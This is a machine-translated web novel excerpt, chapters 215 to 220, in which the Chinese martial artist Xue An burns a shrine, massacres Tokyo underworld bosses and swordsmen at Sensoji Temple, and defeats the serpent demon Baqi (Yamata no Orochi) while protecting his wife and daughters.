
    So far, Baqi Snake Head has gone the third!


    Then Xue An looked at the priest who was kneeling on the ground, dumbfounded.


    "Ask for longevity, but committed a heinous murder, today, you ruined this shrine!"


    Xue An just saw a lot of unsightly pictures through Baqi Divine Mind.


    It turns out that Tianyi Shrine enshrines these two eight-qi snake heads because it only wants to rely on the power of the two snake heads to seek longevity.


    For this reason, they cruel a lot of innocents, just thinking that they can be enshrined for this demon god.


    Xue An is not a person who is compassionate and compassionate, but this wait is still enough to make him disdain.


    The priest was so frightened, and seeing the Baqi snake head eliminated, he fainted.


    Xue An walked four steps in midair.


    At each step, a blood lotus will be born.


    Then the blood lotus suddenly turned into flames, completely covering the Tianyi Shrine.


    When Xue An walked to the door.


    The soaring flame has risen.


    Xue An removed the seal at will. When An Yan saw her husband safe and sound, she took a sigh of relief. When she saw the burning Tianyi Shrine, she couldn''t help being surprised.


    "Husband, this..."


    Xue An said indifferently: "All sins are turned into ashes! Let''s go!"


    Xue An led his wife and children out of here.


    Mijia Motobashi and Yin Huahui also understood at this time and hurried down the mountain together.


    Along the way, Mijia Motobashi wanted to go up and talk to Xue Anpan.


    But helpless Xue An and others walked extremely fast, and soon disappeared.


    At this time, Yin Huahui leaned forward, "Miss Benqiao, this person set fire to kill people, or we should call the police as soon as possible!"


    Mika Motohashi gave him a cold look, "Go to the police! Also, please don''t bother me in the future!"


    With that, Mika Motohashi left first.


    This Yin Huahui was left standing in place with a dull face.


    It took him a lot of effort to invite Mika Motobashi to play here.


    Unexpectedly, this happened.


    But when he thought of Xue An''s almost ghostly methods, Yin Huahui shuddered all over, not even daring to slander, and ran away dingy.


    The destruction of Tianyi Shrine shook the entire R country martial arts world.


    After all, it was considered a genre for a thousand years, and it was burned to the ground overnight, which is naturally shocking.


    Dainichi Shrine.


    Several top masters in the R country martial arts world or the shrine world gathered here.


    "Who actually killed the entire Tianyi Shrine in just an hour?" An old man said slowly, his voice not irritating.


    Bantian Guiren, the top master who has been in charge of Dainichi Shrine for decades, is said to have stepped into the realm of half-step immortality with one foot.


    "There is news that a Chinese warrior has recently arrived in the Tokyo area. He is powerful, and then this incident appeared. Will it be related?" A charming, revealing dress, two mountains towering tall and tall. The upturned woman said softly.


    The leader of the Liuhua School, Pine Feihua, is also a mighty, and also known as the poisonous scorpion of the R country''s martial arts world.


    She was very beautiful, but she was extremely cruel, and there were no one thousand men who died in her hands, but eight hundred!


    "Hehe, Hua Guo warrior? Do you think that a mere Chinese warrior can destroy a shrine backhand?" a man with a gloomy face sneered.


    Takashi Ohara of Iwa Shrine.


    These people who spoke were all top-notch existences.


    Pine Tree Feihua heard the words and said: "Ohara Takashi, don''t look down on the Chinese martial artist. I heard that this person killed the wise stream Qianshan Yiye with one move!"


    "Qianshan Yiye? Haha, it''s just a defeated man, what''s the point!" Ohara Chong''s face was full of disdain, and at the same time he glanced greedily at Pine Feihua.


    This woman is really a stunner!


    At this time, Bantian Guiren waved his hand and said solemnly, "What''s the name of this person?"


    "Xue An!" Pine Feihua said solemnly.


    Xue An?


    This Huaxia''s name seems familiar!


    Everyone is in surprise.


    Someone trembled: "Could it be that... Xue An who destroys the sword immortal with one sword and destroys the immortal gate with only one hand?"


    Everyone was shocked.


    Bantian Guiren��s eyes burst out with two brilliant lights, "Really it is him? How did he come to Country R? And also destroyed Tianyi Shrine, what does he want to do?"


    There was a hint of panic in the voice that was not easily noticeable.


    That''s right, the top existence of country R is now panicked.


    At this moment, Feihua Pine looked at Takahara Ohara who was embarrassed.


    "Your Excellency Takashi Ohara, now... do you think this person can still be in your eyes?" The voice was full of sarcasm.


    "Matsuki Feihua, you..." Ohara Takashi was a little angry.


    He did not know that it was Xue An just now.


    You must know that Xue An has spread all over the world.


    Especially the almost miraculous things he did, it almost shocked the world of martial arts.


    Although Ohara Takashi is arrogant, he still feels a little frustrated if he meets Xue An.


    Guiren Sakata looked at Feihua Pine, "Your Excellency Pine, you are the nearest to Tokyo, can you find out the news first?"


    Pine Feihua smiled, and the two long, straight legs raised Erlang''s legs unscrupulously, "Okay, it just so happens that I am also very curious about this Chinese teenager! I have to see who it is, it can be. Such a demeanor!"


    And in a very remote mountain village in R country, in a shabby room.


    A young man with a gloomy look slowly opened his eyes, and in front of him was a long knife exuding a strong ominous aura.


    The young man gently stroked the long knife and muttered: "Are you craving for blood?" Remember the website of this site, www. biquxu. Com, easy to read next time, or enter "" on Baidu to enter this site

 Chapter 216： The most delicious taste in the world is joy

    The long knife quaked.


    The boy wiped the blade with his hand, blood rushed out, and the long sword gradually calmed down.


    But the boy weakened rapidly, as if his life had been sucked.


    If anyone who is familiar with the history of the Shinto of the R country is here, they will definitely exclaim.


    Because this pale paper-faced teenager was actually the genius onmyoji, Watanabe Seimei a hundred years ago.


    At that time, Watanabe Seimei, who was known as the top onmyoji who could communicate with ghosts and gods, disappeared strangely behind him.


    I didn''t expect to be in this remote mountain village, and I didn''t get old.


    "Zhongyuan is approaching, it seems that it''s time to look for blood food again." Watanabe Qingming said softly, with a strange light shining in his eyes.


    Tokyo.


    Disneyland.


    After returning from Yunqushan, Xue An took his two daughters and played crazy here for a whole day.


    It wasn''t until the evening that An Yan left Disney with reluctant thinking and Nian-nian.


    "Look at it, it''s crazy to play!" An Yan scolded Xue An while retiring the two little girls'' hair.


    Xue An winked at the two little girls, then opened his mouth and said silently: "Let''s... go eat something delicious!"


    The two little girls were amused.


    An Yan gave Xue An a white look, "You, sooner or later I will spoil them both!"


    Xue An chuckled, "My daughter, who am I not used to? Go, let''s go eat!"


    "eat seafood?"


    An Yan shook her head, "I don''t like eating!"


    "Then go for steak?"


    Xue Xiang and Xue Nian shook their heads, "I don''t like eating!"


    "Then what shall we eat?"


    "Whatever!" the three women answered in unison.


    Xue An smiled bitterly, what women like to say most, seems to be just two words.


    It was okay anyway, Xue An simply led the family back down the road slowly.


    Just after walking for a while, there is a roadside stall that specializes in oden and deep-fried skewers. It is also called Yatai in R country.


    An Yan''s eyes lit up.


    "Just eat this!"


    Xue An was a little bit dumbfounded, but when he came to Country R, ??he ate fried skewers.


    But his wife likes to eat, Xue An naturally has no opinion.


    The family was sitting around the table. The stall owner was a middle-aged man. When he saw a visitor, he quickly got busy.


    This kind of roadside stall has a strong taste in order to conquer your taste buds at the first bite.


    At least An Yan and the two little girls were enjoying themselves.


    Xue An looked at him with a smile.


    The stall owner secretly gave Xue An a thumbs up, and then whispered: "Sir, you have an enviable family!"


    Xue An smiled.


    And this one also attracted a lot of curious eyes.


    After all, Anyan''s manner is elegant, and the two little girls are exquisite and cute. They are not ordinary families at first glance, but they eat cheap food on the roadside, which is naturally attractive.


    At this moment, a Mercedes-Benz slowly stopped to the side of the road, and then as soon as the door opened, a woman walked down swayingly.


    As soon as this woman appeared, she attracted the attention of the whole street.


    She wore a decently tailored evening gown, which was slit to the base of her thighs, and she walked with a pair of big long legs looming, especially attractive.


    But the most intriguing thing is the towering Liangjie Mountain of this woman, who seems to tremble with every step she takes.


    The men couldn''t help looking straight.


    The woman walked to the front of the house with a smile and said in a proficient Chinese: "Come and cook oden, don''t cook oden!"


    This made the stall owner stupid.


    Then the woman smiled at Xue An, and then stretched out her hand, "Hello, Mr. Xue! Nice to meet you, my name is Pine Feihua!"


    Xue An looked at this enchanting woman indifferently, "Do you know me?"


    Pine Feihua smiled, "In today''s world, who doesn''t know Mr. Xue, who killed the immortal gate with a single sword?"


    With that, Pine Feihua sat beside Xue An very naturally and looked at him winkingly.


    "But what I didn''t expect is that Mr. Xue is so young and handsome, it is really scratching!"


    This charming voice is dripping.


    At least the stall owner blushed and looked silly.


    Xue An shook his head gently, "Leave before I lose my patience, otherwise..."


    Pine Feihua smiled lightly: "Otherwise what?"


    Xue An looked at her with cold eyes, "Otherwise, I will send you on the road."


    Pine Feihua didn''t understand yet, a wisp of sword light passed by her ear, and she cut off the bun of her hair, and the green silk poured down.


    Pine Feihua was frightened and pale as paper.


    "you����."


    Xue An lowered his eyes and said lightly: "You don''t have to come to test me, I come to Country R just to find one thing. After I find it, I leave, but if anyone dares to stop..."


    "Then I will block and kill the gods and Buddhas!"


    The murderous aura in these words made Pine Feihua tremble slightly, and stood up desperately, "Yes, my lord!"


    Then fled in a hurry.


    An Yan stopped the chopsticks in her hand, patted her stomach, and said contentedly: "It''s delicious! Husband, let''s go back!"


    It seemed that she hadn''t seen everything just now.


    Xue An smiled, "Okay! Go back!"


    Pine Feihua sat in the car, still trembling slightly, and looked at Xue An''s away back with horrified eyes.


    Under his seemingly elegant and handsome appearance, this man had a tyrannosaurus heart.


    And what makes Pine Flying Flower most memorable is Xue An''s indifferent eyes.


    In front of his eyes, he seemed to be stripped naked, and all the secrets were invisible.


    "Patriarch, where are we going?" the driver asked.


    "Back to the Kyoto club!" Pine Feihua gritted his teeth.


    When they returned to the villa prepared by Kiyoko Takeuchi alone, the two little girls who had been playing for a day had fallen asleep in Xue An''s arms.


    Xue An put the two on the bed and walked gently out of the bedroom.


    An Yan put her hands on Xue An''s shoulders, and said, "Husband, you didn''t eat, are you hungry now?"


    Xue An smiled, "What do you mean?"


    "Then I''ll get you a bowl of noodles!"


    Said An Yan and went to the kitchen.


    Seeing An Yan''s busy back, Xue An sighed slightly.


    Back then, when he returned home after finishing work on the construction site, Anyan ignored her pregnant body and insisted on cooking for herself.


    Because life was hard at that time, what I cooked was nothing more than a bowl of noodles.


    But An Yan always secretly hides a poached egg inside.


    That was the best thing they could eat at the time.


    Thinking of this, Xue An felt infinitely guilty in his heart.


    This woman has paid too much for herself.


    The noodles were cooked quickly, and An Yan also carefully chopped a few chopped green onions.


    Xue An took a big bite, and a familiar taste spread in his mouth.


    "Husband, is it delicious?"


    Xue An nodded.


    This is the best bowl of noodles he has ever tasted.


    Only those who have experienced it will understand, the world''s most delicious taste is joy!

 Chapter 217： Overweight

    The Ginza Club.


    Several big underworld families in Tokyo are all gathered here at this moment.


    Several big chaebols such as the Inoue family and the Matsushita family were also present.


    It can be said that anyone in this room is a big-time figure outside.


    But many people don''t even have a seat.


    Because those who can sit here are the top existences in country R.


    "Let me say that this Chinese warrior Xue An simply deceived people too much. Since he came, the Takeuchi Kiyoko arrogance has become more and more arrogant!" said a gloomy underworld boss.


    "Yes! Our family has also suffered a lot of losses! This Xue An has to be removed!" someone agreed.


    The people in the room started to talk about it, but the topic was how to get rid of Xue An.


    At this moment, a cold voice came, "Sister Pine, your complexion is so bad, what''s the matter?"


    Everyone dared not make a sound.


    I saw a beautiful man who was almost a demon looking at the pine flying flowers with great interest.


    Pine Feihua blushed and shook his head, "It''s okay, it''s just that I feel a little sick!"


    The man leaned on the sofa and smiled faintly, "I heard that Sister Pine had been in contact with this Xue An, but I don''t know what you think of this person?"


    The eyes of the crowd gathered on Pine Feihua, and some people swallowed secretly.


    This woman... is simply too fascinating.


    Pine Feihua shook his head and smiled bitterly, "I can''t describe this man, but he personally said that he came to Country R this time to find something, and if he finds it, he will leave!"


    "Oh? Looking for something? What is it?" The man frowned slightly.


    "I don''t know either!" Pine Feihua shook her head, her complexion a little pale.


    Because she recalled the scene she saw that night, especially the look in Xue An''s eyes.


    The man sneered slightly, "I don''t know? Doesn''t it mean that he won''t be able to find it for the rest of his life, so he won''t leave for the rest of his life?"


    Pine Feihua was afraid to speak.


    This beautiful man who looks like a woman is Akashi Kaede who has ruled the underground world of Tokyo for seven or eight years.


    Pinewood Feihua knows that this man is moody and deep-rooted, and he has contacts with all the great kendo heirs of R country.


    So even she dare not offend.


    Ming Shifeng looked at the photos taken secretly on the table, and a cold smile appeared at the corner of his mouth.


    "Hua State said, "A strong dragon does not suppress a snake. Since you are here, then I will treat you well!"


    Pine Feihua couldn''t help saying: "Your Excellency Akashi, this Xue An is a top warrior in China, and ordinary people can''t get close to him."


    Ming Shifeng nodded, "Of course I know this, but I was prepared."


    With that, Ming Shifeng stood up and walked to the window.


    "Look, the Mid-Year Festival is coming soon, and every household is busy making prayer flags to pay tribute to the ancestors."


    This nonsense sentence made everyone in the room unclear.


    Akashi Feng went on to say: ��Every year on the Mid-year Festival, the people of the Kitashin Ichishin Ryu, Shinto Wunen Ryu and Iaido Swordsmanship come to Kyoto Sensoji Temple to pay homage, and this year is no exception!��


    Pine Feihua was shocked, and a horrified light flashed across his face.


    "And Kihito Sakata from Oichi Shrine, Takashi Ohara from Iwa Shrine, these people, I have all invited this year."


    A morbid excitement flashed across Ming Shifeng''s face.


    "And every year on the Zhongyuan Festival, all the Dao families also come to Sensoji Temple to pay homage."


    "At that time, the experts of Country R will gather. I don''t believe that Xue An really has three heads and six arms. Even if he does, I will cut him off with a single blow!"


    Everyone in the room couldn''t help being overjoyed and nodded one after another, "Your Excellency Akashi is really unparalleled!"


    Only Pine Feihua''s eyes flickered, and she was a little surprised.


    Is it really that simple?


    When everyone was discussing, a young man with a dark long knife walked into Tokyo under the moonlight.


    "After so many years, Tokyo has changed so much!" Watanabe Qingming said softly, looking at the neon flashing tall buildings.


    But behind the splendor of this city is a corner exuding darkness.


    It seemed that he felt this kind of breath, and the long sword was trembling slightly, as if he couldn''t wait.


    Watanabe smiled, "Master Demon God, don''t worry, I will let you drink blood and food on the day of Zhongyuan Festival."


    "Master!" Takeuchi Kiyoko walked into the room and shouted respectfully.


    Xue An nodded, "Is there any news?"


    "Not yet, but tomorrow will be the Chinese New Year''s Day. As usual, every family will go to Sensoji Temple to pay homage. In previous years, it was my father. This year..."


    A look of difficulty flashed on Takeuchi''s face.


    After all, she had only recently taken charge of the Takeuchi family, and she hadn''t succeeded in power, and it was all due to Xue An''s prestige that convinced everyone.


    This was a Hey Dao family gathering, and she worried that if she went alone, something would happen.


    Xue An nodded, "Tomorrow, I will go too!"


    "Thank you, Master!" Takeuchi Kiyoko said happily.


    "Dad, what is the Mid-Autumn Festival? Is it fun?" Xue Xiang asked.


    Before Xue An could speak, Takeuchi Kiyoko had already said first.


    "Miss, this Zhongyuan Festival is a very important festival in Kyoto. On this day, every household will make prayer flags to commemorate the dead, and major temples will also hold ceremonies to save the dead, and there will be grand fireworks displays. It''s very lively!"


    Xue wanted to hear it brightly.


    "Dad, can we go too?"


    "Of course you can!" Xue An said with a smile.


    An Yan hesitated, "Husband, those people are fierce, will we get in the way when we go?"


    Xue An smiled faintly, "In my hands, there is no beast that cannot be tamed, don''t worry!"


    Mika Motohashi has always been a little absent-minded these past two days.


    Her colleague who is also a good girlfriend Baihui Hetian noticed the strangeness, and couldn''t help asking with concern: "Mika, what''s the matter with you? I''ve always been upset in recent days?"


    Mika Motohashi shook her head It''s okay, but I feel a little bored! "


    "Tomorrow is the Midyear Festival. I heard that this year''s Sensoji Temple''s fireworks are even more grand. Let''s go over and watch the excitement! Let''s take you to relax!"


    As soon as Mika Motohashi hesitated, Baihui Kawada stepped forward and shook her shoulder, "Okay! Just go with me!"


    Mika Motohashi smiled bitterly, "Okay! But I have to wear a sunglasses mask!"


    She didn''t want to be recognized by fans, the scene was too scary.


    "Hmm! Meijia is the best!"


    Mika Motohashi smiled, but the back of the man appeared in her eyes.


    She later learned about what happened in Tianyi Shrine, and all the priests died.


    Could this kind of thunderbolt be done by the mysterious man?


    I don��t know if I can see him!

 Chapter 218： Zhongyuan Fireworks

    The Midyear Festival finally arrived.


    Starting in the morning, people come to Sensoji Temple for incense and worship.


    And on a wooden tall building behind Sensoji Temple, three handsome men are standing in front of the window chatting.


    "Taro Yoshieaga, do you believe that the incense burned by these people will really be received by the undead?" a young man asked with a smile.


    The current sword sage Yoshinaga Taro, who was a Shinto no-mind-liu, shook his head, "This is just a way of mourning!"


    Another man who put on grease covered his nose and smiled, "It looks like Ono seems a little scared!"


    Ono glared, "Akiyama, don''t talk nonsense here, who says I''m scared?"


    "Oh? Since you are not afraid, why do you ask these strange questions? You are somehow the heir of Juhe Swordsmanship!"


    Ono Yousuke''s complexion darkened, staring at the sissy man.


    Qiushan Falcon, the leader of Beichen Yidao Style.


    These three people represent the highest level of kendo in country R.


    "Okay, Qiu Shan, let''s just say a few words, this Xue An is really powerful, and when he is killed by him, it will take the three of us to work together!" Yoshie Taro whispered.


    Akiyama Hayato snorted coldly from his nostrils, "I don''t believe how good he is."


    "If it''s not great, how did the wise-liu Qianshan Yiye die?" Ono Yousuke said coldly.


    "Hehe, as a warrior in the big R country, the most important thing is to have the belief in victory. The guy Qianshan Yiye is too pedantic, and he deserves it if he died!" Qiu Shan Hayato said coldly.


    The three were talking, Ming Shifeng came upstairs, followed by Bantian Guiren and others.


    Especially the appearance of pine flying flowers made the atmosphere in the room relaxed.


    Seeing this scene, Qiushan Hayato couldn''t help but sneered: "What? With these people present, even if this Xue An is a long-lived person, he will have to be broken here, afraid of what he will do?"


    Ono Yousuke couldn''t help closing his mouth.


    Waited until the evening.


    Xue An took An Yan and others to the outside of Sensoji Temple.


    now.


    The open space outside Sensoji Temple is full of voices and lively.


    suddenly.


    A firework exploded in mid-air.


    The bright fireworks made everyone exclaimed in a low voice.


    "Dad, dad, look! The fireworks are so beautiful!" Xue Xiang and Xue Nian were so excited to see them.


    Xue An smiled and looked up.


    I saw fireworks one after another, half of the sky reflected.


    At this time, Mika Motohashi and Keiko Kawada were also looking up at the sky full of fireworks.


    "It''s so beautiful!" Keiko Kawada sighed, then closed her eyes pretentiously and began to make a wish.


    "What are you doing?" Mika Motohashi asked with a smile.


    "Wish, haven''t you heard of it? Wishing to a meteor will come true!"


    "But now the sky is fireworks!"


    "It''s all bright anyway, it should all be the same!"


    Mika Motohashi shook her head helplessly, then hesitated and closed her eyes lightly.


    Probably, I can see him again!


    But after making a wish, she couldn''t help laughing again that she was too stupid.


    How is this possible?


    But when she slowly opened her eyes, she saw a familiar back.


    Mika Motohashi froze.


    Keiko Kawada said at this time: "Mika, let''s go in!"


    no response.


    Keiko Kawada was taken aback, then followed Mika Motohashi''s sight, but found nothing surprising.


    "Mejia, what''s wrong with you?"


    Mika Motohashi took a deep breath, "It''s okay, you will wait for me!"


    After speaking, he plucked up his courage and walked forward.


    Xue An was listening to the two daughters bickering at this time.


    "This firework is beautiful!"


    "Nonsense, this one is beautiful!"


    "Humph, ignore you!"


    "Ignore it, don''t care, greedy ghost snacks!" Xue Xiang made a face at Xue Nian.


    Xue Nian was so angry that Baozi blushed, but he couldn''t think of a way to fight back. Finally, with tears in his aggrieved eyes, he rushed into An Yan''s arms.


    "Mom, sister bullied me again!"


    An Yan couldn''t laugh or cry, so she pretended to be angry and thought to Xue: "Think about it, how can you do this!"


    When Xue Nian heard her mother supporting herself, she couldn''t help winking her eyes with pride.


    But An Yan went on to say: "Even if they are, you can''t tell them!"


    When Xue Nian heard it, tears couldn''t stop.


    Xue Anzheng looked at him with a smile, and a timid voice came from behind.


    "Hello, may I ask..."


    Xue An turned his head to look, and when he saw the female star he saw in Yuntoi Mountain, he was startled slightly, and then smiled, "What a coincidence!"


    Mika Motohashi felt her heart throbbing, and stammered: "Well...I also came here to watch the fireworks, but I happened to see you!"


    Xue An nodded slightly.


    Mika Motohashi wanted to say something, but suddenly some words were lost.


    After a few seconds, An Yan whispered: "Husband, let''s go inside! Kiyoko has already entered!"


    "it is good!"


    Xue An is gone.


    Mika Motohashi stood there blankly, feeling nothing in her heart.


    At this time, Keiko Kawada came over and said exaggeratedly: "Mika, no wonder you are absent-minded, because you are in love with a handsome guy!"


    Mika Motohashi smiled bitterly, "Keiko, don''t talk nonsense, people have families!"


    Keiko Kawada stuck his tongue out, "I saw it too, that lady is so temperamental! Hey, what is this person''s name? Is it the son of a big chaebol?"


    Mika Motohashi looked pale and shook her head, "I...I don''t know his name!"


    "What?" Keiko Kawada thought he had heard it wrong.


    "Don''t even know what the name is?"


    "I just ran into him that day!" Motohashi Mika said softly.


    At this moment, Xue An led his family into Sensoji Temple.


    The people in this thousand-year-old temple are sparse.


    And outside the side hall, there were men in black, all passing by quickly speeded up their pace, thinking about leaving here as soon as possible.


    Xue An stepped up.


    "Stop, it''s not open today, please go elsewhere!" A man said coldly, stopping Xue An''s path.


    "Get out of the way!" Xue An said lightly The man who blocked the road frowned slightly, "I repeat, it is not open to the public today!"


    Xue An looked at him.


    An invisible coercion made everyone around him pale.


    A look of astonishment flashed in the eyes of the man blocking the road.


    At this moment, a chubby man stood at the door and said, "Get out!"


    Everyone retreated, and then the man sneered at Xue An.


    "Presumably you are Mr. Xue from China?"


    Xue An nodded slightly.


    "I am the Patriarch of the Inoue family, Inoue true intentions! Please!" the man said coldly, his eyes full of irrepressible anger.


    Xue An laughed, and then led An Yan into the hall.

 Chapter 219： 0 Oniyako

    Watanabe Kiyomizu stood on the top of a tall building, and not far from his feet was the bustling crowd in front of Sensoji Temple.


    "It''s really fascinating! And I can smell the vigorous vitality of a lot of warriors, Lord Devil, this time, you will be able to recover as before!"


    Said Watanabe Seimei slowly pulling out the long sword from behind.


    Two groups of ghost fire suddenly appeared in his eyes, and then he gave a soft drink and slashed it out.


    A flame that was darker and dimmer than night was floating in the air.


    The moonlight in the sky was gradually shrouded in clouds, and it seemed that he couldn''t bear to see the scene below.


    "Hundred ghosts... Yexing!" After Watanabe Qingming finished reciting these four words, his whole expression was extremely depressed, crumbling, and almost fell downstairs.


    But as his words landed, from the black magic flame, phantoms floated out one by one.


    Skullless girl, big tengu, glen rang, Shiranui...


    Many monsters and ghosts in the legends of R country have all emerged.


    Then all went straight to the crowd below.


    Demon spirit skyrocketed.


    The atmosphere in Sensoji Temple is also extremely solemn.


    Many people from the Taoist family and the major chaebols all stood behind Ming Shifeng.


    And Xue An sat on the other end.


    "Your Excellency Xue An, I''m very curious, what you said you would come to country R looking for?" Ming Shifeng said lightly.


    Unlike the other party''s strong momentum, Xue An has only a few people behind him.


    But even so, Xue An''s face remained calm as usual.


    "Want to know?" Xue An said lightly.


    "of course!"


    "But the cost of knowing requires your life to pay, do you still want to hear it?"


    Ming Shifeng''s face became difficult to look, and finally he snorted coldly, "Mr. Xue, you are a Chinese warrior. I respect you, but you must not disturb the rules of our Tokyo underground world!"


    "Rules?" Xue An smiled faintly. "For me, what I say is rules!"


    This extremely arrogant remark made everyone change in color.


    Many people even groaned.


    Especially Inoue Zhenyi, can''t wait to eat Xue An at this moment.


    After all, his son died under Xue An.


    Ming Shifeng had a sullen face, and suddenly looked at An Yan and the others behind, and said lightly: "Mr. Xue, you are here with your family, aren''t you afraid to get them tired? As long as you quit Tokyo, we will be nothing. It has happened! Don��t embarrass you!"


    Xue An smiled and shook his head gently, "You still don''t understand, I will definitely get that thing, whoever dares to stop me, I will kill anyone!"


    Ming Shifeng finally couldn''t help it, and shouted angrily: "Do it!"


    With an order, the ceiling suddenly shattered, and then a man came straight to Xue An with a sword.


    At the same time, a person rushed out of the floor under his feet, stab Xue An directly.


    It''s the same outside the window.


    The three of them had three swords, and their aura was amazing, so that everyone in the room only felt that their faces were cut by the overflowing sword energy.


    This is not over yet.


    Bantian Guiren also suddenly roared, "Dari Tathagata!"


    A great but pure aura radiated from him, and then came straight towards Xue An.


    Ohara Chongze raised his hand, and a few extremely sinister sleeve arrows flew towards Xue An.


    This is almost dead.


    A triumphant smile appeared at the corner of Ming Shifeng''s mouth.


    The gods can''t escape such a killing game!


    This Xue An is still too big.


    In the presence, only Pine Feihua''s face was pale, and she slowly moved back.


    Because only she understands.


    Everything is not that simple at all!


    really.


    Xue An, who had been sitting still like a mountain, slowly raised his eyes, the light in his eyes was like stars.


    "Very well, you actually showed up by yourself!"


    Ming Shifeng was taken aback, not knowing what Xue An was talking about.


    Xue An waved his hand and directly smashed the Qiushan Hayato''s sword with a smug smile on his face, and then flicked his fingers.


    The head of the sword saint of Beichen''s swordsmanship was shattered.


    Then Xue An suddenly patted the table in front of him.


    The table shattered, and the splattered sawdust turned into the most terrifying weapon, shooting everyone who rushed to the front into a sieve.


    And this is not over yet.


    Xue An suddenly stamped his foot and raised his eyebrows.


    "I said that in the face of absolute power, all conspiracies and tricks are futile! So, you all go to die!"


    After that, Xue An blasted out with a punch.


    Move the world!


    The first form of the six types of killing gods is once again present.


    boom!


    The entire side hall was directly overturned, Ming Shifeng shouted in horror, "No..."


    Be bombarded directly behind.


    Even this punch was so powerful that it directly blasted half of Sensoji Temple into flat ground.


    With these painstaking calculations, all the people who were ready to make Xue An''s death on the spot directly turned into nothingness.


    There was only one pine flying flower hiding fast, and luckily took a life, was curled up in the corner shivering.


    Because the moon in the sky is gone.


    The city that was supposed to be prosperous was surprisingly silent at this moment, and all that could be heard was the howling of the evil spirits from hell.


    "Hundred... Hundred Ghosts Night Walk!" As a R countryman, of course, he was deeply impressed by this legend.


    But who would have thought that one day he would witness this scene with his own eyes.


    As for those watching the excitement outside Sensoji Temple, the casualties are even more serious at this moment.


    Countless people are reduced to the mouthful of demons and ghosts.


    Mika Motohashi and Keiko Kawada were hiding in a corner in horror.


    Not far from them, there is a child who seems to be four or five years old.


    Mountain boy!


    A monster in the legend of country R.


    With blood hanging from the corner of Shantong''s mouth, he was looking for new food everywhere.


    Mika Motobashi and Keiko Kawada dared not even get out of the air, and hid silently in the corner.


    Suddenly, the mountain boy found something and rushed straight to the two of them.


    Keiko Kawada screamed in fright.


    Mika Motohashi closed her eyes in despair.


    He is probably dead now!


    At this moment, a cold voice came from mid-air.


    "Zong Mo was born, do you really think that no one can control you in this world?"


    This voice... so familiar.


    Mika Motohashi opened her eyes and saw a scene that she remembered for a lifetime.


    I saw Xue An standing in the air with a solemn expression, like a fairy descending from nine days.


    In his distance, Watanabe Seimei, who was already half-man and half-devil.


    Watanabe Qingming laughed strangely at this moment, "Hua Guo Martial Artist? Haha, it''s a pity...you are all late, and now Lord Demon has consumed enough blood and is about to rule the world, you all must die!"


    Xue An smiled faintly, "I...I''m looking for your Lord Demon God!"


    After speaking, Xue An stepped forward, and a blood lotus rose under his feet.


    Then it suddenly turned into a burning fire, covering all the demons and monsters under the feet.


    The demons and ghosts continued to howl miserably, and they didn''t even have the ability to resist, so they vanished.


    And at this moment, a majestic voice that only wanted to worship came to mind.


    "You wait for mortals, Baqi is here!"

 Chapter 220： Seal of the Immortal King (5th

    Following the voice, from the long sword behind Watanabe Qingming, a monster with five snake heads rose up.


    The endless coercion shocked everyone.


    Watanabe Seimei knelt aside respectfully, and said excitedly: "Welcome your lord to the world!"


    Baqi looked at Xue An, and among the five pairs of cold and evil snake eyes, they were full of greed.


    "It''s a beautiful body. If it were sent by me, then there would be no one in the world but my opponent!"


    This scene also caused the pine tree to fly to the ground.


    Yaqi Orochi.


    The demon **** in r country legend.


    Does it actually exist?


    And it seems to be against Xue An!


    Takeuchi Kiyoko and others are also serious at the moment.


    Only Xue An, his expression indifferent, "After searching for a long time, you are finally willing to show up!"


    Baqi was taken aback for a moment, "Mortal, what are you looking for me to do?"


    Xue An showed a few white teeth and smiled sensibly, "Of course... it takes your life!"


    After all, Xue An''s person turned into a stream of light and appeared directly in front of Baqi, and then pinched a snake''s head with one hand and suddenly applied force.


    boom!


    There was a muffled sound.


    Xue An actually pulled out a snake head.


    Demon blood splattered.


    Baqi cried out in pain.


    "Mortal, I want to grind you up a little bit!" Baqi roared, the snake body suddenly split, and then a sharp sword appeared.


    "Sky Cong Yunjian!" Pine Feihua cried out in shock.


    According to legend, there is a sword in Baqi''s body, that is, this sky cloud sword.


    But at this moment, Yaqi gradually transformed into a human form, holding a cloud sword in the sky, Jie Jie smiled strangely: "Today, I will let you know that the Devil God is invincible!"


    As he said, a sword swung out.


    The sharpness of the sky cluster cloud sword even left a sword mark in the air, as if the space had been cut through.


    This strong sword also blasted Xue An directly into the air.


    Then fell into the night sky, not knowing how life and death would be.


    Mika Motohashi was shocked and couldn''t help screaming.


    And An Yan, who walked out of the side hall, couldn''t help being shocked.


    "Husband!"


    Her shout was heard by the triumphant Baqi Demon God, and he looked down, then was stunned.


    "You...you...you are..." Baqi was trembling all over, as if seeing something terrible.


    Xue Xiang and Xue Nian waved their small fists at this moment, and said angrily: "You big octopus, you dare to hit my dad!"


    In the eyes of the two little girls, Baqi seemed to be a big octopus.


    Without waiting for An Yan to speak, Baqi turned and ran.


    This shock shocked Pine Feihua and others.


    what happened?


    Why did this Baqi Demon God fled as soon as he saw An Yan?


    Even Watanabe Qingming couldn''t help being stunned.


    "Master Devil, why are you running?"


    Baqi roared: "You can''t save your life if you don''t run, go!"


    But at this moment, an earth-shattering momentum came, and then an indifferent voice said.


    "Want to run? It''s too late!"


    With that, Xue An''s figure suddenly appeared in front of Baqi, and grabbed several of its snake heads.


    boom.


    Two more snake heads were unplugged.


    Baqi was extremely angry, and slashed with his sword.


    It''s just that now, Xue An didn''t even dodge, and he directly grasped this so-called invincible sky cloud sword.


    "He... he... broke through?" Pine Feihua exclaimed.


    That''s right.


    Xue An finally broke through that line of realm and entered Sanxian.


    However, his dispersal of immortals is more than a hundred times stronger than others.


    "It''s blowing hard, it turns out to be far worse than Xuanyuanjian and other artifacts!" Xue An said lightly, and then used force.


    Click.


    Tian Cong Yun Jian broke off.


    This sword was also transformed by the spirit of Baqi, and this breaking immediately greatly damaged Baqi''s strength.


    Then Xue An kicked it to the ground.


    Watanabe Qingming was in a daze at the moment, and Xue An also threw it to the ground.


    As soon as he landed, after seeing An Yan, Baqi stepped back in fear.


    Xue An stood with his hand in his hand and said lightly: "Now, can you tell me, why do you want to seal my wife?"


    The human figure that Hachiki transformed into knelt on the ground and said, "My lord, I... how dare I seal your wife!"


    puff!


    Another snake head was cut off.


    Baqi cried out in pain.


    Xue An said indifferently: "There is no seal? What''s the matter with the demonic energy?"


    Baqi tremblingly said: "My lord, I really did not seal her. That day, I was attached to the magic sword and followed Watanabe Qingming to China, but I met her. At that time, she was so muddled, I let Watanabe Qingming. Catch it to country r! But..."


    A look of horror flashed in Baqi''s eyes.


